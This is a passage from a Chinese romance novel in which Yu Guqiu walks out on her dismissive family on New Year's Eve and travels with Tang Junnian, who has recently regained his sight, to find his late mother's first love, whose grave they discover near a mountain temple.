“我也不做饭,但我知道爸你爱吃什么,我记得所有人的。今晚做了八个菜,蒜肠切片,糖醋萝卜丝,粉蒸排骨是爸你爱吃的。酱牛肉,京酱肉丝,疙瘩汤是弟弟爱吃的。一道红烧鲤鱼是妈以为我爱吃的,最后还有一道栗子烧鸡应该是弟妹爱吃的吧。这里面没有一道菜是妈自己爱吃的,其实也没有我爱吃的,我很早以前就不爱吃鱼了。” 胡采春站了起来,夹起眉头:“你说这些干什么?!” 虞谷秋捏紧拳头,暴起说:“妈,你可以不做一道自己想吃的菜,可以非放着洗碗机不用亲手洗那些脏盘,可以忍受用那个坏掉的壶照顾你的植物,我却不想再这样下去!我不想再在除夕夜饿得吃泡面,也不要再睡那个根本无处下脚的房间和盖霉味的被子!” 她的声音不大,却很快速,生怕自己被打断一点就说不下去了。 四个人面色各异地听完,最先有反应的人是虞文夏。 他冷笑一声阴阳怪气:“哇——听上去好惨啊。你说你自己就好还要拖我妈下水,不就是那点理由根本站不住脚吗?夸大其词说的我们虐待你一样,明明还当姐姐在我头上作威作福的,真没有良心。” 虞千山这时也回过神,他反倒不生气了,露出笑容来。 虞谷秋看着他的笑容,慢慢地身体发麻。 他上下扫了她一眼,摇头,不当回事:“你啊你,马上三十的人了居然还能和小学时候一样,吵着闹着发不知所谓的脾气。” 虞谷秋动弹不得,看着虞千山悠悠地冲她笑:“又要嚷嚷离家出走吗?真的是小孩子,不结婚成家就会这样。文夏啊,你可不能学习你姐姐这一点。” “干什么——最后又训到我头上?” 虞文夏向她飞来一个白眼。 虞谷秋突然也笑了。 她从这种令人无法动弹的笑容中慢慢挣脱出来,因为她意识到,自己已经不是十二岁,她二十八岁,赚了一些钱,获得过一些爱,即便给予她爱的人们现在并不在她身边,但那份爱却支撑着她明白了一件事,那就是不要再草率对待自己。 她该有力量,不该再做那个流着眼泪默默寻找安身之所的孩子。她已经有自己的去处,即便那是她租来的房子,但她的确是有去处。 虞谷秋摸着从汤骏年那里拿回来的戒指,深深地呼吸,视线扫过屋内的所有人,最后对上虞千山不以为然的眼神。 “如果我是无理取闹,那这么多年过去我早该忘记你对我说的那句话,你说求之不得我走。” 虞千山眉头微拢,显然想不起来自己说过。 虞谷秋露出笑容,这也许是她第一次在这个家里笑得如此舒心。 “我唯一不孝的地方,那就是现在才让你如愿。” “再见。” 虞谷秋再一次奔跑起来。她跑下楼,没意识到正是零点,全城烟花怒放,连绵成片,像在为她喝彩。 二十八岁的虞谷秋,终于在这一年成功地离家出走。成为一只离巢的鸟儿,扇动着还不算灵活的翅膀,飞啊飞啊,不再回头。 * 除夕的夜晚,虞谷秋又回到自己的一楼出租屋,听着左右和上面的屋子的动静,却睡得非常安心。 隔天早晨醒来,她却觉得一切都太安静了,安静得不合常理。 她下床从口袋里摸出手机,才发现还是被自己关机的状态,怪不得…… 昨夜发生的一切在脑子里走马观花,开机之后必将面对巨浪,这让她恨不得手机就一直关机下去算了。 逃避了一个小时,她随便给自己下了碗面条,吃饱喝足,终于有了力气面对。 一开机,屏幕亮起的瞬间,手机几乎把手震麻。 太多未接来电和微信消息,她草草地刷过去,群发的拜年消息,大多来自于养老院的老人家属,其中还掺杂了一条许琼的,也是群发,她忽略,回了几条能看出是单发的祝福短信,院长,杨芩,郑宵,栗子,这里面还有一条来自于许琼的儿子周承意,她也一样忽略。 再然后,就是胡采春发来的长篇大论,核心宗旨就是赶紧回家向虞千山还有虞文夏道歉。她正奇怪凭什么还有虞文夏的事,结果一看,虞文夏发了好几条消息骂她,说他带未婚妻回来结果让人见家丑,这婚事要吹了,她根本就不配当姐姐。 这个走向大大出乎虞谷秋意料,一切就像蝴蝶效应,又好像是命中注定,她临时起意跟着汤骏年去吃了一顿饭,却无意改变了别人的命运。 但虞谷秋认为这是那位女士的福气,幸好在嫁进这样的家庭之前逃掉了。 她拉黑虞文夏,继续无视胡采春的消息,她想对她说的话在厨房里都已经讲完了,再浪费口舌无意义。 最后的最后,虞谷秋终于硬着头皮点开了汤骏年的消息。 他就言简意赅地发来:「对不起,我亲你你生气了吗?」 为什么这人还要特意把“我亲你”这个事实再点出来?她要是在生气的话不是会更生气吗? 她无语凝噎,当时的感受却又同时涌上心头,像是心口有只小狗在打转,抓自己的尾巴而不得。 虞谷秋跑到阳台上吹风,一边看着手机发呆。 良久,她回他:「没有,只是有一点意外」 她没想到汤骏年秒回。 「意外?跨年那晚你也亲过我,我以为你不会很惊讶」 虞谷秋脸涨成猪肝红,替自己辩解:「因为那个时候你看着太伤心了,我情不自禁……」 默了半晌,他笃定道:「你果然是白骑士情结」 ——到底什么是白骑士情结啊? 虞谷秋这时才想起来去查一下,看完恍然。百科上说这是一种以治愈他人走出低谷为乐的心理状态,如果对方没有创伤就会失去价值感从而失去兴趣。 这么一对比,自己的行为似乎真的歪打正着地吻合上。 如果汤骏年能知道当年她暗恋他,这个事就不攻自破。 但现在她不必再解释,这样阴差阳错也好。 汤骏年见她没回,又发来一条:「关于昨晚的那个答案,你还没告诉我」 这不是当面,虞谷秋不再有顾虑,干脆利落地回他两个字:「不好」 她收起手机。 今天的天空灰蒙蒙的,不知是不是昨夜的烟花太过绚烂,那些飘下的烟尘都堆到空气里不散。这绝不是做大扫除的好天气,让虞谷秋刚提起的念头一瞬间被打散了。她心安理得地继续在成堆衣服的沙发中躺下来。 在沙发上躺着的她也很忙碌,睡了个午觉,睁眼醒来看剧,再玩会儿做饭游戏,手点来点去差点抽筋……一直忙到跳过中饭,夕阳下沉,她侧头看向窗外,天空恢复了些光彩,昏黄的光从窗外的一棵树下漏进,漏到地板上,几点柔和的光圈。 她盯着光圈看入迷,手机在这时开始震动。 是汤骏年打来的电话。 她犹豫了很久,电话也就响了很久,在跟她角力。 “……喂。” 虞谷秋投降,最终接通。人依旧懒在沙发上,不想开免提,把手机贴在耳边,汤骏年的声音便清晰地钻进来,令她精神一振:“虞谷秋,我们来打个赌吧。” “赌?” “当时我不愿意收林淑秀的东西,你说要跟我打赌让我改变主意。”他说,“那么我是不是也可以有一个和你打赌试试让你改变主意的机会?” 虞谷秋听得一愣一愣。 她挣扎着,刚要将“不行”说出口,汤骏年匆忙道:“赌注不需要是继续见面。” 她不禁好奇:“那是什么?” “如果赌注是继续见面,我想你就会直接拒绝我,对吧?” 虞谷秋无言以对。 汤骏年继续道:“所以不用继续,就再见一次就好。” “……就再见一次?” “是的,赌吗?” 冬日的冷风吹过虞谷秋的脑门,她却脑袋一热。 “现在就猜吗?” “是,现在。” “那……来吧。” 汤骏年随即挂掉了电话,发来一个音频文件。 她做好准备,凝神倾听。害怕自己猜中,也害怕自己猜不中。 点开文件,却是一片安静,只有空气的噪音。 她纳闷:「你是不是发错了?」 他回:「没有,这里已经包含了一种声音」 「……」 虞谷秋反复点开几遍,无果,最后想,这不会是一出皇帝的新衣吧?故意录一段空气,然后说这里面有声音,故意引导她绞尽脑汁,正所谓大道至简,最复杂的往往是最简单的。 她越想越觉得这样没错,信心十足地给出答案:「空气!」 「错了」 一锤定音。 虞谷秋感到一种难以言说的高兴,却“气鼓鼓”地发去质问:「你是不是在骗我?不是空气是什么?」 汤骏年不言语,却发来一段视频。 是一段夜晚下雪的视频。 拍摄者站在窗边,屋内没有开灯,窗外纷飞的雪看上去很明亮。但拍摄者仿佛觉得这点亮度不够,不足以看清,于是抬手打开窗户,打亮手电,照向窗外的雪。飘飞的雪花染上光,在黑色的天幕下变成一群成群结队的萤火虫…… 「发给你的,是视频里雪花的声音」 「你答应过我要带我看雪,但你走了。这是我一个人看的雪,现在我们也算一起看了」 看着汤骏年发来的两条消息,虞谷秋逐渐放轻了呼吸。 她的对不起三个字还打在发送框中,他已又发来:「不用为你的失约道歉,只要遵守我们这次的赌约就好」 虞谷秋便逐字删掉那三个字,改为:「我会的」 他发来一个两只狗爪爪相碰的表情包。 「那我们今天晚上七点在南站见面吧」 「南站?坐动车的那个南站?」 「是」 「去那里干什么?」 「一起离开这里,你不是休到初五吗?我们初五再回来」 虞谷秋傻眼。 「这我可没答应!!」 汤骏年冒出个微微一笑的表情。 「你答应了的,说再见一面。而我并没说过这最后一面的时限只有一天」 第56章 晚上六点半, 汤骏年拖着一只二十六寸的行李箱走进南站。 他发信息给虞谷秋表示自己到了,再往上,是他给她发的车票截图, 目的地是栖云,她根本没回。 汤骏年找到检票口, 还未到检票时间, 他坐到角落,开始盯着手机。 去栖云并不是一时兴起,他去那里也并非游玩, 虽然栖云是个不错的旅游城市。它在北端的沿海岸,毗邻外海。从京崎搭动车过去得三个小时。 夏天那里山林茂密,徒步登山很受人欢迎, 不论游客还是当地人。据说山顶有一间很灵的寺庙,大家都喜欢去那里拜拜。 至于冬日就更妙了。正是二月这个时节, 巨大的冰块会从黑江河口南下,覆盖海面,在栖云市的港口形成一片望不到边的白色海平原。若搭一艘破冰船,能看到令人难忘的绝景。 这是大多数人都知道的热知识,但这些对于汤骏年来讲,却是一个冷知识。能指望一个十年看不见的人对旅游有多少憧憬?大数据绝不会推送给他这些。 他是决定去那里之后,才开始陆续刷到了推荐。 而他想去那儿, 是因为在眼睛手术恢复之后重新亲自整理了一遍妈妈的遗物。 当年需要整理遗物时他的眼睛已经看不见了,只能靠别人转述形容做了大致规整, 必然有很多遗漏的地方。这一次重新经手, 他在妈妈的信件中发现了来自栖云的一封信。 引起他注意的是寄信人的名字,大名冠又青,但在信封的最右下角, 又标注了个小小的昵称:小和尚。 当时念的人根本没有念到这里,他也就不知道原来这位小和尚也写信给妈妈过。从林淑秀的信息中,他以为那人小时候搬家后就和妈妈失去联络了。但其实搬家后他曾经来过信,不过也就这一封。 都这么些年过去了,那位小和尚也快变老和尚了,他不一定还住在栖云,但汤骏年想尝试着去找一找,并非是想把妈妈当年没有寄出去的信交给对方,更多的……大概就是想要看一看那位初恋的样子,想问问他口中小时候的妈妈。 这本来是他之前决定好的一人旅行,而盘算着让虞谷秋加入则是意外之举——在看到除夕夜她在便利店吃泡面的那刻起,他就感到愤怒,这愤怒早就超过了他想质问她的关于自己的种种。 那时起,他就在计算着该如何邀请她一起来。 栖云是个不错的散心城市,他想拉着她从那个家庭中离开。至于他们之间的事都是其次了。 但是看着逐渐逼近的时间,空无音讯的聊天框,汤骏年却意识到自己太自以为是。 再怎么说,他们都是她的家人,而他是她如今正要抛下的人,两者该选谁?这根本是不需要犹豫的选择。 他知道自己不必再期待,还有五分钟动车就要开,他应该现在立刻起身,以自己慢吞吞的视力才能勉强坐上列车。 汤骏年却没有动。 倒计时四分钟了。 他看了一圈人来人往的候车大厅,比起视力他还是更依靠听力,无数的脚步和行李箱的车滚轮形成交响曲,没有任何错漏的一拍。 倒计时三分钟。 汤骏年低下头,将行李箱撑在前充当盲杖往前走,刷身份证过了自动闸机。 他再次回头,仍一无所获。 倒计时两分钟。 他搭乘电梯往下,在按电梯门时仍望着空无一人的闸口,直到电梯门彻底合上,仍没有他想象中的那个画面,比如虞谷秋突然火急火燎地冲进来,像电影情节上映那般。 倒计时一分钟,汤骏年终于踩着线上了列车。 时间紧张的缘故,他都没能先找到车票所属的车厢,而是随便上了站台最近的车厢,再一截一截地找过去。 第六节,第七节,第八节……第十节。 穿越一节又一节的人群,时隔十年的出行,汤骏年兴致缺缺地终于来到他的车厢。 而在他的位置旁边,已经有人坐在那儿了。 那人风轻云淡地扬起头看向他说:“汤骏年,你怎么这么慢呐!” * 虞谷秋是晚汤骏年十五分钟来到南站的。 她当然想去,无论是去栖云还是去到汤骏年身边,但理性还在和渴望作对。一整个下午,她一会儿在想这是最后一次了没关系,最后一次是具有吸引力的字眼,有着超乎寻常的美妙结束是最棒的结局。一会儿又在想跟着去汤骏年家里吃饭时也是想着最后一次,这最后一次无穷无尽了。 最后,虞谷秋还是把选择交给天意。 ——如果等到六点时汤骏年所在的那截车厢还有位置,她就买票。 虞谷秋打定主意后,就把手机锁住。中间她分出了一点精力整理出了一只旅行箱,然后将它挪到了阳台上,假装忘记有这只箱子的存在。 然后再重复之前的步骤,找剧看,或者玩游戏,却哪样都提不起劲,盯着时间反复思索——怎么才过去一小时? 就在这样反反复复的消磨和等待中,时间终于走到六点。 她迫不及待地点开购票软件,第十节车厢…… 有票。 虞谷秋瞬时放下手中的一切,跑到阳台拿上箱子,一气呵成地跑出家门,在最后十五分钟踩点到了检票口。 她很轻易地发现了汤骏年的身影,可他正在低头看手机,两人的目光错过。 坏心眼也是在这一刹那萌生。她不声不响地检票进站,上了车厢,发现汤骏年旁边的位置已有人坐,抱着试试的心理问问对方可不可以换座,对方很爽快地答应了。 于是,一切水到渠成,她憋着劲儿,等到汤骏年进来时给他一个非常装模作样的亮相,表面云淡风轻,内心滚来滚去。 唯一美中不足的是汤骏年惊愕的反应并不大,定了定神后在她身边坐下,仿佛笃定她会来似的,随口一句:“怎么不回我消息?” 虞谷秋心虚:“我没注意。对了,你住哪里?我订和你一家住宿吧。我还没来得及订。” “不用,我订过了。” “你提前订了两间?” 他睨她一眼:“一间。” 虞谷秋神色一呆,惊得支支吾吾:“你说我们……我们要住……一间?” 他平常道:“我记着你的要求。” 虽没明说,但言语里却在暗示之前她豪迈地和前台说要开一间房的事。 她羞恼道:“那时候不一样!” “因为我能看见了,就不能住一起了吗?” “不是不是!之前只是为了躲雨,和住一起怎么能算一样!” 他笑了笑:“好了,不逗你了。我订的是一间民宿,房间是分开的,不要顾虑。” 她点点头,心里仍一跳一跳——这已经算变相的临时同居了。 虞谷秋塞上耳机,下意识地要打开播客听汤骏年的声音。明明他就在自己身边,可她已经习惯了从他隔着一层的声音中寻求平静。 汤骏年瞄到她的手机屏幕:“你在听播客?” 虞谷秋反扣住手机,怕他看见自己的小号,不满道:“你干嘛偷看。” “对不起,我是不小心转过头……而且这个距离我根本看不清你的手机。”他解释,“只是觉得界面有点像,所以没忍住问了。” 虞谷秋撇撇嘴:“好吧,原谅你了。”她装腔作势地问,“那你呢,你还有没有在更新?” “你应该知道的。” 虞谷秋脑门一紧,声音高了两分:“我为什么会知道?” 他笑:“你不是都催我再不更新要让警察来抓我了?” 虞谷秋瞪大眼:“你为什么连这个都知道会是我?我号都换了!” “本来不确定,只是诈诈你,现在知道了。” “……” 虞谷秋叹口气,也不装了,催他:“那你到底还更不更新!” “知道你还在听的话,我当然会更的。但之前我一直不觉得那个人会是你,你都离开得这么决绝,已经对我完全失去兴趣了,又怎么还会来听我的播客?” 他并不是抱怨,有点自言自语般地叙述着他的心情,却难免让虞谷秋听得难受。 列车外是黑魆魆的荒野,也存在着明亮的幻影。她从窗户里望着汤骏年,望着并肩而坐的他们,不知不觉睡着了。 醒过来时,她脑袋正歪在窗户上。更确切一点,是汤骏年的手上。他一只手从她后背横过来,像揽着她的姿势,手心里揉了一块他的白色围巾,垫在她的脑门和列车冰冷的窗户之间。 她慌忙坐直,背却又压住他的胳膊,又慌张往前倾。又赶忙抹了抹嘴巴,确认没有口水糟糕地流出来。 汤骏年抽走手,动了动肩头说:“就要到了。” 虞谷秋想道谢,想说不好意思麻烦他一路,扭捏半天,脱口却说的是:“你都不困吗?” 汤骏年微微一笑,语气难得不平静,像被风吹开的书页一样哗啦啦地飞舞着。 “怎么会困呢,我已经十年没有旅行过了。”他看向她,“所以我真的真的很高兴你最后来了,参与到我十年后的第一次旅行里。” 虞谷秋心头一软,飞快地把头扭向窗户。 * 列车在晚上近十二点抵达栖云,这并不是这趟列车的终点站,只有少数人在这站下了车。 两人辗转着打了一辆车前往民宿,上车时汤骏年还调侃她,问她要不要坐到副驾去。虞谷秋无言以对,想到那时候装哑巴都被他看在眼里……她一骨碌沉默地钻进后排,扒着窗户看向街头。 深夜的栖云很空旷,车少人少,马路却很宽阔,夜空也很高,没有一朵云,环绕的山远远地连绵在城市的边缘,给人的第一感觉是辽阔。 二十分钟后车子行驶到目的地,大大出乎虞谷秋的期待,他说是一间,其实是一栋。民宿是一栋带小院的两层小楼,两个人住这么大的房子真是奢侈。 “干嘛订了个这么大的?” “因为便宜的被订光了。” “呃……哦。”好朴实的理由。 “这样也好,有很多房间,你可以挑一间你喜欢的。” “那我不客气了!” 虞谷秋把箱子往门口一搁,开始逐个房间打开门探进脑袋查看,审查完一楼又跑上二楼,沉寂的小楼里一时间充满了她的跑动声。 最后她跑回一楼,挑了一间窗户正对着小院的房间。 “我确定要这间了!” 她踏出房门,汤骏年便拉着箱子去了离她房间很远的一间。 她不由得跟过去看,他挑的房间竟然连窗户都没有。 这么多漂亮的房间偏偏挑这么一处住,这不是纯纯自找苦吃。 “你确定这间?” “嗯。我住这里你会比较自在吧。二楼我的眼睛不太方便,但要是你不想我和你同一层,我去二楼也可以。” “我不是这个意思。”虞谷秋皱起眉,“我是觉得你可以住得更舒服点,挑其他的不好吗?” “哪怕在你的房间旁边也可以?” 她微怔,讷讷道:“当然……这又没关系。” 汤骏年放下行李箱,转道向虞谷秋走来。 她盯着地面,越来越近,越来越近,两人脚尖悬上,她绷紧身体,往后一退,背撞上墙,退无可退。 “虞谷秋,你告诉我。”他的声音在她头顶响起,“你到底是希望我离你远一点,还是离你近一点?” 她抬起头,微妙地错开他的视线回答:“随便你住哪一间。” * 早晨八点,虞谷秋醒了过来。她昨晚失眠到四点才睡着,看了半宿窗外的小院和月亮,忘记拉窗帘,被阳光生生晒醒。 而房门外已经有开火的动静。民宿的厨房是和客厅相连接的开放岛台,她想着汤骏年竟然比自己起得还早,于是也赖不了床了,一骨碌爬起来跑进这个房间自带的卫生间开始洗漱,坐在镜子前仔仔细细地化妆。 他眼睛看不见时,她有时候连妆都不化就去见他了,但现在不行,现在她开始注意起自己脸上有没有因为熬夜而长出新痘痘,或是眼下的乌青,又或者是衣服穿得合不合适。 就这样磨蹭大半天,她确认自己万无一失,小心翼翼地打开房门。 油烟机的声音已经停了,汤骏年正在餐桌边吃早餐,他的对面还放着一盘碟子,上面是刚煎好的鸡蛋培根和吐司,还有一杯牛奶。 他抬眼招呼道:“吃早餐吗?不过有点冷了,需要加热一下。” “没事,有的吃我就不挑。” 虞谷秋拉开椅子在他对面坐下,汤骏年慢慢停止咀嚼的动作,眼神定在她脸上。 她不自在地看回去:“干嘛?” 他蓦地从椅子上微微起身,双手一撑,身子穿越大半个餐桌贴到虞谷秋面前。她睁大眼睛,屏住呼吸,直到汤骏年又一脸若无其事地坐回去。 他好奇道:“你化妆了?” “是……我化得很奇怪吗?”她抿了抿涂了唇膏后粘腻的嘴巴,嘀咕说,“有必要这么大惊小怪地凑过来看?” “不是这样。”汤骏年替自己解释,“我只是凑到那个距离才能看清。而我想看清是因为我从没看过你化妆的样子。” “啊,你对我印象最深的还是我高中时候的样子吧?” 汤骏年点点头。 虞谷秋玩笑道:“那如果你一直不做手术的话,我在你心里是不是就一直青春永驻了?这么一想有点可惜。” 他想了想:“然后只有你单方面看着我变老吗?太狡猾了。” 虞谷秋戳了戳煎蛋:“不会的。我应该看不到那一天吧。” 空气冷却下来。 汤骏年却像没听见,慢条斯理地扫空了盘子里的食物,还剩半杯牛奶,于是他还可以继续光明正大地坐在她对面,看着她吃,一边说:“无论如何,能看到现在的你对我来说是件很幸福的事。” 虞谷秋低下脑袋,咀嚼的动作逐渐变得心不在焉。 “那天晚上你拉着我的手让我摸你的脸,想象你的样子。我却怎么也想象不出来会是什么样。脑海里一直都是十八岁时你的样子。我很遗憾,心里想我是不是永远只能想起你十八岁时的样子,或者说哪一天我连你十八岁的样子都会想不起来?因为记忆已经开始模糊了。所以我当时特别渴望能看见你。而老天已经准许我完成了这个愿望,也许我真的不该再过于贪心。” 他说完,一口饮尽剩下的半杯牛奶,端起餐盘准备离开。 虞谷秋听完这番话根本食不下咽,一股脑地叫住他。 “汤骏年!” 他停下脚步,停在她身边。 她仰起头:“还没问过你,十年后的我看上去怎么样?” 他低下头,伸手抹掉她嘴边吃出来的那一点粘腻的唇膏,轻声呢喃:“神魂颠倒。” 第57章 两人吃过早饭后一起出了门, 汤骏年大致告诉她此行的目的之一是为了找冠又青,也就是妈妈的初恋。虞谷秋听后不太乐观地想,这么多年前的地址还能找得到人吗? “没关系, 找不到人就算了。”汤骏年看得开,“本来找他也没什么要紧事, 找到了就是锦上添花。” 他们按照地址打车过去, 运气很好,虞谷秋还以为那地方可能早被拆迁,结果下车后依然是那片看上去非常老旧的居民楼。运气更好的是, 他们叩响门后,不消片刻就有人来开门了——一个小女孩仰起头奶声奶气地问他们:“你们是谁?” 汤骏年蹲下身,视线和女孩齐平, 冲她笑道:“你好,我们来找冠又青, 你认识他吗?” 小女孩歪了歪脑袋,没等她回答,一个女人拿着锅铲冲了出来,嚷道:“不是跟你说了不要随便给人开门吗!你给我进去!” 小女孩撇撇嘴,一溜烟地跑回了屋里。 那女人挥舞着锅铲问他们:“你们谁?有事?我锅里还热着东西呢,快快快!” 汤骏年抱歉道:“我们找一个人,叫冠又青……他原先应该住在这里。” “哦, 冠又青啊,他现在不住在这里咧。” “那方便告诉我们他现在的住址吗?” 女人又一挥锅铲, 指着两人身后的窗户, 那里正映照着一座高山。 “好说,就在那山顶呢!” 啪,门一关, 剩两人面面相觑。 * “那座山就是很有名的大青山,据说很灵的云顶寺就建在山上。”虞谷秋查了查百科,一个念头浮现出来,“那位小和尚先生难道真去当和尚了?” 汤骏年沉吟:“看来很可能是这样。” 虞谷秋哀嚎:“天呐,那我们还要爬山!” “我自己去吧,你可以逛逛其他你想去的地方。” 虞谷秋却不乐意了:“那不行,是你把我拉来的,又把我撇下什么意思?” “可是你刚才好像不愿意爬山……” “你意思是我的错啦?” “……不,应该是我的错?” 虞谷秋点点头:“行,那我们出发!” 汤骏年一脸懵地跟上了。 两人打车到山脚下,冬天登山的人肉眼可见的少,放眼望去除了他们就只有几位狂热的登山爱好者,穿着全套的登山装备。 到达山顶的路总共有两条,一条就是供刚才那些爱好者们挑战的专业山道。还有一条就是任何菜鸟都可以登顶的全通台阶,比如他们俩,两人往上走时甚至看到还有一路跪上去的人,虔诚得令人咋舌。 两人留下一句惊叹默默越过对方继续向上。 走到中途时虞谷秋逐渐走不动了,她看汤骏年的神情却还很从容,如果不看他额头上沁出来的汗她都不会觉得他在爬山,也许他手上的那根盲杖充当了一部分登山杖的作用?虞谷秋暗自嘀咕,思考自己去捡根树枝来能不能行。 他们停在中间休息区域休整片刻,要再出发时汤骏年在她面前蹲下身,示意她可以到自己背上来。 “还有一半的路,我背你上去吧。” 虞谷秋吓一跳:“你真的不累吗?不要硬撑啊?” 汤骏年平常道:“我经常一站站一整天,这点强度没问题。” 虞谷秋笑了笑:“那我也经常徒手抱老人呢!这点强度我也没问题!” 她拉着汤骏年起身,然后按照刚才脑子里计划的去旁边的树丛里捡了根枝回来,冲他比划道:“我们一起往上走吧。” 汤骏年眼神闪动,从那根嶙峋的树枝转到她的脸,于是也笑着点头:“好,那一起往上走吧。” 两人便接着一起往上,走到最后只剩几十级台阶时虞谷秋双脚发软,汤骏年此时也显出疲倦,喘着粗气,他们对视一眼,互相拽着对方慢吞吞到顶。 虞谷秋正想发表一下登高的艰苦宣言,但视线往下望去,只觉得这痛苦物超所值——山顶绵延往下是高耸入云的松林,栖云市匍匐在他们脚下,中间是层层叠叠的房屋,最远处能看见隐约的海,天空一望无际。 虞谷秋赶紧拍下这一幕,突然听见汤骏年在一旁问:“要帮你来一张吗?” “我?”她狂摇头,“我就不拍了吧。我来帮你拍?” “你不想一个人入镜吗?那我们一起拍好了。” 他自然而然地举起手机,调到自拍模式,画面里映照出一脸自然的他还有一脸“啊?”的虞谷秋。 她觉得自己好像被套路了,就这么顺其自然地变成了合照。 他预告:“那我准备拍了?” 虞谷秋急忙调整表情:“好。” 两个人看向镜头,没有任何的肢体接触,她站得甚至离汤骏年有点远,为了让出足够空间可以拍到两人身后的壮美景色。这样看上去生疏的他们大概会让人想到现在软件上的一些搭子,约着一起旅游之前完全不认识那种,但说不定拍起照来也比他们显得亲密呢。 “三、二、一……” 一张相当僵硬的合照拍下了。 两个人的目光都微妙地移开了镜头,都是不适应镜头的样子。一个斜向左,一个斜向了右……恰巧,那都是他们各自所在的方向。 * 山顶的寺庙此刻很清静,寥寥几个人在庙内烧香拜佛,虞谷秋和汤骏年则是直奔着寺庙里的和尚去,问他们认不认识一个叫冠又青的人。 他们本来以为找到这里就不难了,结果问了一圈下来,没有人认识冠又青。 虞谷秋茫然道:“难道是那个人胡说八道骗了我们吗?” 汤骏年倒接受得很快:“没关系,那就不找了。反正这里也是个著名景点,被骗了也没什么损失。如果她没骗我们,我们应该不会来这里。” 虞谷秋立刻被说服了,开心起来:“没错,锻炼身体!” 两人立在正殿前,眼前正是一樽威严的神像,神像垂眉,令人肃然起敬。 虞谷秋下意识说:“既然来了,我们要不要拜一拜?” 话出口后,她又想起汤骏年是一个寄情于天文胜过宗教的人。他也许会对着一颗流星许愿,但不会对着佛祖低头。 她连忙补充道:“当我没问!你应该不会想拜……” 汤骏年却仰头看着佛祖半晌,出乎意料道:“拜拜也不错,任何可以让愿望完成的希望我现在都想抓住。” 虞谷秋不知道他口中的愿望到底是什么,但他最后跪向佛祖的姿态无比虔诚,握着香火的手高高举过头顶,额头磕向蒲团,很端正的三个叩首。 * 走出寺庙后,虞谷秋忽然拉住还要往前走的汤骏年。他没看清她在看什么,总之视线聚焦在远处,露出非常微妙的神色。 “汤骏年,那里有一片墓地。”她说,“那个人说冠又青‘住’在山顶,会不会是住在……那里?” 这个念头一出来,两人都毛骨悚然。 汤骏年迟疑半晌,决定道:“我去上面找一找,你在这里等我。” 虞谷秋咬咬牙:“不用,我才不怕鬼。” 他默了默,点出:“你身体现在在抖。” “我那是冷的。” 他冷不丁握了下她的手。 “手心很热。” “……” 虞谷秋从他手心里抽回手,继续嘴硬:“因为被我抖出热了。” 最后他们一起继续往上,山上的坟头东一块西一块,但并不潦草,能看到被人惦记的痕迹,摆放的水果,花,有的枯了腐烂了,有的还很新鲜,他们一个名字一个名字地看过去,在被阳光忽略的一处角落,他们真的找到了那个想找的名字。 他已经在两年前去世了。 明明是素昧平生的人,虞谷秋的心里头却泛上怅然。这股怅然是因为汤骏年,她想她能理解他为什么要来这里找冠又青。他仍在试图寻找和妈妈在这个世界上的最后一丝连接,而这个连接如今也断裂了。 纵然汤骏年没有表现出什么情绪,他仅是蹲下身拔掉了坟前长势凶猛的野草。 虞谷秋也蹲下身帮忙拔掉一些,这个位置,她看见了墓碑角落小字的立碑人,是冠又青的姐姐。 脑海里立刻浮现那位挥舞锅铲一脸置身之外的女人——难不成竟然就是她吗? 没有答案,也并不重要了。虞谷秋回过神来,边拔草边咕哝:“早知道是这样,我们应该带点贡品上来……” 汤骏年微怔,仿佛被她的话点了一下。 他摸索着,从贴身的口袋里拿出那封妈妈未曾有勇气寄给冠又青的信,挑了块石头将信压在墓前。 “也许可以把这个当作贡品吧。” 两人又静静地站了一会儿,谁都没说话,要走时虞谷秋低低地说了一句:“这时候我真希望世上有鬼。” 汤骏年侧过脸问:“为什么?” “这样他能看到这封信了。有些话错过了好可惜,当人的时候有那么多遗憾,那当鬼了是不是就好点。” “谁知道呢,也许已经过桥投胎了。有些话不等做人的时候说,做鬼了就更来不及。” 虞谷秋听着,知道汤骏年是在说别人的事,但字字振聋发聩,每个字都说到她心里。她想自己隐瞒他的事是不是也只有当鬼的时候才有机会说,还是趁现在,趁一切还有转机的时候,说出来。 “汤骏年……” 他转过脸来。 虞谷秋对上他被余晖照耀到的,充满光辉的眼睛。 她偏过脑袋,哈哈一笑:“我肚子饿了,我们下山吧!” * 两人本来还打算去镇上好好搓一顿,但下山之后都累得够呛。虞谷秋并没觉得下山轻松,阶梯的陡峭对于膝盖不好的人来说绝对是折磨,而对一个视力不好的人来说也需要高度集中注意力,汤骏年的精神比体力累多了。 于是他们一拍即合叫了外卖打算回民宿吃,没有什么比累了一天之后,在寒冷的冬夜里缩在民宿吃外卖更幸福的事了。 虞谷秋吃完饭洗完澡,后腰的酸劲泛上来,她不得不去床上躺一会儿,但躺姿都变得很痛苦,正换了个姿势趴着,房门被敲了敲,汤骏年在门外问:“是你叫的药吗?” 虞谷秋应道:“对,已经到啦?” “嗯,你怎么了?哪里不舒服?” “没事没事,我就是爬得腰疼,想说买药膏贴一下。” 虞谷秋披上外套拉开房门,伸手要接,汤骏年却将药袋往身后一撤。 她的手愣在半空。 “……你干嘛?” “贴药膏不管用的。”他一扬下巴,“你来客厅沙发上趴着吧。” “啊?” “我来给你按不是更管用吗?” 他干脆劫持了她的药袋,先一步走到沙发边,撩起毛衣衣袖边抬眼看向还愣在原地的她。 “过来吧,虞谷秋。” 第58章 那六个字听在虞谷秋耳朵里好比海妖的歌声, 极具吸引力,又极具危险。 大脑发出红色警报,上回光是在店里随便让他按了几下脑袋和脖子她就想入非非, 她不能想象当他的手伸向她的腰时会怎样,完全不能! 坚定好意志回过神来的虞谷秋, 发现自己已经在沙发上趴好了。 汤骏年将沙发上的一只抱枕抽出来递给她, 让她枕到自己的脑袋上。 “这里没有按摩床,只能这样将就一下。重点是腰痛对吧?” “嗯……” 汤骏年相当专业,即便是这么私下的场合, 他也像在工作时那样找了条毯子盖到她背上,绝不触碰到她,哪怕只是她的衣服, 隔着毯子手慢慢按下来。 沙发比起按摩床要矮得多,而汤骏年又很高, 他弯腰都很勉强,按了两下不得劲,干脆跪在地。虞谷秋将脑袋枕上去,头一偏看见他的姿势,不好意思地要坐起来,被他一手持住肩又摁回去。 他这个距离太轻易就能凑到她耳端,轻声说:“别在意, 这样我比较好施力。” 虞谷秋不再应声,将脸急急地转到沙发靠背看不见他的那一侧。 汤骏年的手再度落下来。 这次明显感觉到力度不一样了, 指心每一下都按得很实, 穿透毛毯和她的外套,外套里面的内衣,贴到了她的肉里。她感觉很疼, 疼完之后身体又很松。她正被按着的一侧腰好像在天堂,又好像在地狱,总之不断地来回蹦极。 